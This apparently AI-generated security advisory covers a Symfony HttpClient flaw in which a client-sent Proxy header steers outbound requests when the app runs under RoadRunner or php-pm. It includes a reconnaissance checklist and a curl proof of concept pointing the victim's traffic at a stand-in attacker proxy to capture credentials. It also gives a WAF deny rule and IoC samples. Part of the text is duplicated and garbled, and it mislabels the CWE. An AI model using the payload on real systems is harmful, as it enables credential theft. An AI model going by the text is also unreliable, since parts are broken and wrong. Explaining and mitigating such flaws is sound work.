CVE-2026-134792 — CWE-15
When the proxy option isn't set, HttpClient takes the proxy from environment variables like http_proxy or HTTP_PROXY. On web servers, it ignores HTTP_PROXY, because PHP puts the Proxy request header there (the httpoxy issue). On the CLI SAPI, it read HTTP_PROXY from $_SERVER, where PHP also puts the environment. HTTP workers that run under the CLI SAPI put the headers of each request in $_SERVER too. This is the case of spiral/roadrunner-http, which the RoadRunner runner of php-runtime uses, and of baldinof/roadrunner-bundle and php-pm. A client could then send a Proxy header to choose the proxy of the requests that the application sent while handling its request. That proxy received the full requests to http:// URLs, with their credentials, and could forge the responses. For https:// URLs, it learned the host and port through CONNECT. NativeHttpClient is affected since Symfony 4.3.0, AmpHttpClient since 5.1.0, and CurlHttpClient since 4.4.40, 5.4.7 and 6.0.7. On the CLI SAPI, HTTP_PROXY is now read from the environment with $_ENV and getenv(), never from $_SERVER. Other SAPIs still ignore it.
When the proxy option isn't set, HttpClient takes the proxy from environment variables like http_proxy or HTTP_PROXY. On web servers, it ignores HTTP_PROXY, because PHP puts the Proxy request header there (the httpoxy issue). On the CLI SAPI, it read HTTP_PROXY from $_SERVER, where PHP also puts the environment. HTTP workers that run under the CLI SAPI put the headers of each request in $_SERVER too. This is the case of spiral/roadrunner-http, which the RoadRunner runner of php-runtime uses, and of baldinof/roadrunner-bundle and php-pm. A client could then send a Proxy header to choose the proxy of the requests that the application sent while handling its request. That proxy received the full requests to http:// URLs, with their credentials, and could forge the responses. For https:// URLs, it learned the host and port through CONNECT. NativeHttpClient is affected since Symfony 4.3.0, AmpHttpClient since 5.1.0, and CurlHttpClient since 4.4.40, 5.4.7 and 6.0.7. On the CLI SAPI, HTTP_PROXY is now read from the environment with $_ENV and getenv(), never from $_SERVER. Other SAPIs still ignore it.
🎯 What is this vulnerability?
This vulnerability is a Proxy Injection flaw (CWE-15: Expression Problem, specifically relating to improper handling of environment variables vs. request headers) in Symfony's HTTP Client components.
The core technical flaw lies in how Symfony's HttpClient interfaces (NativeHttpClient, AmpHttpClient, CurlHttpClient) determine the proxy server to use for outbound HTTP requests.
1. Standard Behavior: By default, if no proxy is explicitly configured in the Symfony HttpClient options, it falls back to environment variables (http_proxy, HTTP_PROXY).
2. The Flaw (CLI SAPI): In the Command Line Interface (CLI) SAPI, PHP populates the $_SERVER superglobal with both environment variables and request headers (when running under specific workers).
3. The Attack Vector: When Symfony applications run under RoadRunner (via spiral/roadrunner-http), php-pm, or similar PHP process managers that use the CLI SAPI for HTTP workers, the $_SERVER array is populated with the incoming HTTP request headers.
4. The Bypass: The vulnerable code reads HTTP_PROXY from $_SERVER instead of strictly from getenv() or $_ENV. Since an attacker can send a custom Proxy header (which PHP maps to HTTP_PROXY in $_SERVER), the attacker can dictate which proxy server the Symfony application uses for its outbound requests.
Result: The application sends its internal outbound HTTP requests (e.g., API calls, webhooks, third-party integrations) through an attacker-controlled proxy. This allows the attacker to:
- Intercept and read the full contents of
http://requests (including credentials, API keys, and PII). - Forge responses to
http://requests, potentially altering application logic. - Learn the destination host and port for
https://requests via theCONNECTmethod, enabling traffic analysis or man-in-the-middle attacks if the proxy is malicious. - Identify Technology: Use tools like
wappalyzer,whatweb, or manual header inspection to identify the target as a Symfony-based application. - Identify Runtime: Determine if the application is running under a PHP process manager that uses the CLI SAPI for HTTP workers. Common indicators: *
- Version Check: Identify the Symfony version. The vulnerability affects: *
⚡ Attack Chain
1. Discovery & Reconnaissance
Server: RoadRunner header.
* X-Powered-By: PHP combined with specific process manager signatures.
* Knowledge of the deployment architecture (e.g., Docker images using roadrunner or php-pm).
NativeHttpClient: Symfony 4.3.0+
* AmpHttpClient: Symfony 5.1.0+
* CurlHttpClient: Symfony 4.4.40+, 5.4.7+, 6.0.7+
Note:* The fix is in later versions (e.g., 4.4.41, 5.4.8, 6.0.8, 6.1.0, etc., depending on the branch).2. Exploitation
The attacker sends an HTTP request to any endpoint that triggers an outbound HTTP request from the Symfony application (e.g., a "Send Test Email" button, a webhook trigger, an API integration call). The request includes a maliciousProxy header.Illustrative PoC (curl):
# Assume the application has an endpoint /api/trigger-webhook that makes an outbound HTTP request to http://internal-api.example.com/secret
# The attacker sends a request with a custom Proxy header pointing to their malicious proxy server (attacker-proxy.com:8080)
curl -X POST http://victim-app.com/api/trigger-webhook \
-H "Content-Type: application/json" \
-H "Proxy: http://attacker-proxy.com:8080" \
-d '{"action": "test"}'Mechanism:
1. The request hits the Symfony application running under RoadRunner/CLI SAPI.
2. PHP populates $_SERVER['HTTP_PROXY'] with http://attacker-proxy.com:8080.
3. The Symfony HttpClient (e.g., CurlHttpClient) initializes the cURL handle.
4. Since no proxy is explicitly set in the Symfony configuration, it checks $_SERVER['HTTP_PROXY'].
5. The cURL handle is configured to use http://attacker-proxy.com:8080 as the proxy.
6. The application makes its outbound request to http://internal-api.example.com/secret via the attacker's proxy.
3. Post-Exploitation
attacker-proxy.com:8080) receives the full HTTP request from the Symfony application, including:http://internal-api.example.com/secret
* Headers: Authorization: Bearer <internal-api-key>, Cookie: session_id=...
* Body: Any sensitive data sent in the request.
{"status": "success"}) to the Symfony application, potentially bypassing error handling or triggering unintended logic.🌍 Real World Impact
http:// requests, including credentials, API keys, and PII. For https:// requests, the attacker learns the destination host and port, enabling traffic analysis and potential MITM attacks if the proxy is malicious.http:// requests, potentially altering application behavior. However, this is limited to http:// URLs and requires the application to trust the response.🛡️ Remediation & Mitigation
Exact Affected Versions & Upgrade Recommendation
Actionable Workarounds
1. Explicit Proxy Configuration: If you must use a proxy, configure it explicitly in the SymfonyHttpClient options. This bypasses the environment variable lookup.use Symfony\Component\HttpClient\HttpClient;
$client = HttpClient::create([
'proxy' => 'http://trusted-proxy.internal:8080',
]);2. Unset HTTP_PROXY in $_SERVER: In your application bootstrap or a middleware, unset the HTTP_PROXY key from $_SERVER to prevent it from being used by the HttpClient.
unset($_SERVER['HTTP_PROXY']);
unset($_SERVER['http_proxy']);3. Use a Different SAPI: If possible, run the application under a SAPI that does not populate $_SERVER with request headers (e.g., FPM). However, this may not be feasible if you are using RoadRunner or php-pm for performance.
4. WAF Rule: Block requests with a Proxy header if your application does not legitimately need to accept proxy headers from clients.
# Apache ModSecurity Rule
SecRule REQUEST_HEADERS:Proxy "@rx .+" "id:100001,phase:1,deny,status:403,msg:'Proxy header not allowed'"Detection: IoCs
Proxy header.GET /api/trigger-webhook HTTP/1.1
Host: victim-app.com
Proxy: http://attacker-proxy.com:8080⚠️ Urgency
This vulnerability is easily exploitable by an unauthenticated attacker who can send a single HTTP request with a malicious Proxy header. The impact is significant, as it can lead to the theft of sensitive credentials and data. While it is not currently listed in CISA KEV, the low complexity and high impact make it a critical risk for any Symfony application running under a CLI SAPI-based process manager (RoadRunner, php-pm).
Recommendation: Patch immediately. If immediate patching is not possible, implement the workaround of unsetting HTTP_PROXY from $_SERVER or blocking the Proxy header at the WAF level.
[🤖 CVE Professor AI Security Engine]
FOFA Query